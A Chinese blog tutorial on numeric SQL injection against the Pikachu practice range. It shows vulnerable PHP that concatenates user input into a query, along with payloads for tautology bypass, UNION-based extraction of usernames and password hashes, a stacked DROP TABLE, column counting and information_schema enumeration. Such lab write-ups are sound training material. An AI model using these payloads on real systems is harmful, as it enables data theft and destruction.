pikachu靶场—数字型注入

一、数字型注入原理

数字型注入是 SQL 注入中最基础、最常见的类型。其核心场景是 SQL 查询语句中直接拼接数字参数,攻击者通过篡改数字参数,突破代码逻辑,构造恶意 SQL 语句,实现未授权操作。

1. 正常场景示例

假设网站有一个「按 ID 查商品」的功能,前端传 id=1,后端代码(以 PHP 为例)如下:

// 前端传入的参数(数字类型)
$id = $_GET['id'];

// 直接拼接数字到 SQL 语句(无任何过滤)
$sql = "SELECT * FROM goods WHERE id = $id";

// 执行查询
$result = mysqli_query($conn, $sql);

此时正常的 SQL 语句为:

SELECT * FROM goods WHERE id = 1;

2. 攻击者注入原理

由于参数直接拼接数字,攻击者无需闭合引号(与字符型注入不同),只需修改 id 参数的值,即可篡改 SQL 语句逻辑:

步骤一:构造恶意参数

攻击者传入 id=1 OR 1=1,后端拼接后的 SQL 变为:

SELECT * FROM goods WHERE id = 1 OR 1=1;

1=1 是永真条件,结果会查询出表中所有商品数据,突破了「查单个商品」的限制。

步骤二:进一步提权或破坏
  • 查询所有用户: 参数:id=-1 UNION SELECT 1,username,password FROM users拼接 SQL:
SELECT * FROM goods WHERE id = -1 UNION SELECT 1,username,password FROM users;
  • 删除数据(高危): 参数:id=1; DROP TABLE goods拼接 SQL:
SELECT * FROM goods WHERE id = 1; DROP TABLE goods;

3. 数字型注入的核心特征(快速识别)

  1. 参数是数字:注入点的参数为数字(如 ID、页码、分类编号等)。
  2. 无需闭合引号:SQL 语句中没有单/双引号包裹参数(字符型需要 ' 闭合)。
  3. 用逻辑运算符篡改条件:核心用 OR/AND/UNION/; 等符号构造恶意逻辑。

二、靶场演示:判断数字型注入

通过数字查询页面,可以快速判断注入类型,建议先用 Burp Suite 抓包发到 Repeater 进行测试。

1. 注入判断测试

测试 Payload

页面结果

结论

id=3 and 1=1

正常显示(或提示「ID存在」)

逻辑运算符生效

id=3 and 1=2

提示「您输入的user id不存在」(无语法报错)

判定为数字型注入

2. 原理分析

为什么会这样?

通常后端业务代码如下:

SELECT * FROM users WHERE id = 2;
  • and 串联条件,左右任一条件不成立则查询无结果。1=2 永远不成立,是永假式。
  • 输入 id=3 and 1=2,等价于:
SELECT * FROM users WHERE id = 3 AND 1=2;
  • 该条件永假,数据库返回空结果,因此页面提示「ID不存在」。
判断技巧
and 1=2 注入成功(条件变假)→ 数字型注入
and 1=2 导致语法报错 → 字符型注入

三、核心注入流程(爆库 → 爆表 → 爆字段 → 爆数据)

前置准备:查询原查询的列数(关键!)

UNION SELECT 要求前后查询的 字段数必须完全一致,否则会报错。我们用 order by 排序法探测列数:
  1. 逐步测试 Payload:

id=3 order by 1  # 页面正常
id=3 order by 2  # 页面正常
id=3 order by 3  # 页面报错(如「Unknown column '3' in 'order clause'」)
  1. 结论:报错时的数字 - 1 = 实际列数(如上例列数 = 2)。
提示:order by n 会按第 n 列排序,若 n 超过实际列数,数据库会报错。

通用前提

后续所有注入 Payload 都使用 id=-2(或 9999 等不存在的 ID),目的是让原查询返回空结果,页面只显示注入的恶意数据,避免与正常数据混淆。
就算输入id = 2,也不妨碍最终结果
以上代码是id = 3 union select 1, 2

步骤 1:爆库(查数据库名 + 版本)

目的:获取当前数据库名称和版本信息,为后续查表做准备。
  • Payload(假设列数 = 2):
id=-2 union select database(),version()
  • 执行 SQL
SELECT * FROM users WHERE id = -2 UNION SELECT database(), version();
  • 预期结果:页面显示当前数据库名(如 pikachu)和 MySQL 版本(如 5.7.36)。

步骤 2:爆表(查当前库的所有表名)

目的:找到存储敏感数据的表(如 users/admin)
id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
  • 关键说明
    • information_schema.tables:MySQL 系统表,存储所有数据库的表信息。
    • table_schema='pikachu':限定只查询 pikachu 数据库的表。
    • group_concat(table_name):将所有表名拼接成一行,避免分页读取。
  • 预期结果:页面显示 users,news,message 等表名,快速定位敏感表。
这串代码我没有把 id=-2 union select database(),version() 删除

步骤 3:爆字段(查敏感表的所有列名)

目的:明确敏感表(如 users)的字段结构,知道要窃取哪些列的数据。
  • Payload
id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
  • 关键说明
    • information_schema.columns:MySQL 系统表,存储所有表的字段信息。
    • table_name='users':限定只查询 users 表的字段。
  • 预期结果:页面显示 id,username,password 等字段名。

步骤 4:爆数据(窃取账号密码)

目的:最终读取敏感表中的账号、密码等核心数据。
  • Payload
id=-2 union select group_concat(username),group_concat(password) from users
  • 预期结果:页面显示 admin,21232f297a57a5a743894a0e4a801fc3(密码通常为 MD5 加密)。
  • MD5 解密:复制加密串到在线解密网站(如 CMD5),即可还原明文密码。

四、UNION SELECT 关键字解析

1. UNION 的原生作用

UNION 是 SQL 运算符,用于 合并多个 SELECT 查询的结果集,但有严格规则:
  • 前后查询的字段数必须完全一致
  • 字段数据类型必须兼容。
示例
-- 原查询:查商品表的ID和名称

SELECT id, name FROM goods WHERE id = 1;

-- 用 UNION 合并:商品表 + 用户表的结果

SELECT id, name FROM goods WHERE id = 1
UNION
SELECT id, username FROM users;
执行后,返回「商品数据 + 用户数据」的合并列表 —— 这也是攻击者利用的核心逻辑。

2. SQL 注入中 UNION SELECT 的攻击原理

攻击者通过篡改参数,把 UNION SELECT 拼接到原 SQL 中,让数据库执行「原查询 + 恶意查询」,返回原本无权查看的数据。
数字型注入举例
  • 正常场景:前端传 id=1,后端执行:
SELECT id, name, price FROM goods WHERE id = 1;
返回:1, 手机, 2999(仅商品数据)。
  • 注入场景:攻击者传 id=-1 UNION SELECT 1, username, password FROM users(-1 让原查询无结果),后端执行:
SELECT id, name, price FROM goods WHERE id = -1
UNION
SELECT 1, username, password FROM users;
返回:1, admin, 123456(攻击者窃取到用户表账号密码)。

3. UNION SELECT 注入的核心规则

  • 字段数匹配:原查询有多少个字段,UNION SELECT 后就要有多少个字段。 例:原查询 SELECT id, name, price(3 个字段),注入时必须写 UNION SELECT 1,2,3(3 个字段)。
  • 原查询需无结果:用 -2/9999 等不存在的 ID,让原查询返回空,页面只显示注入结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值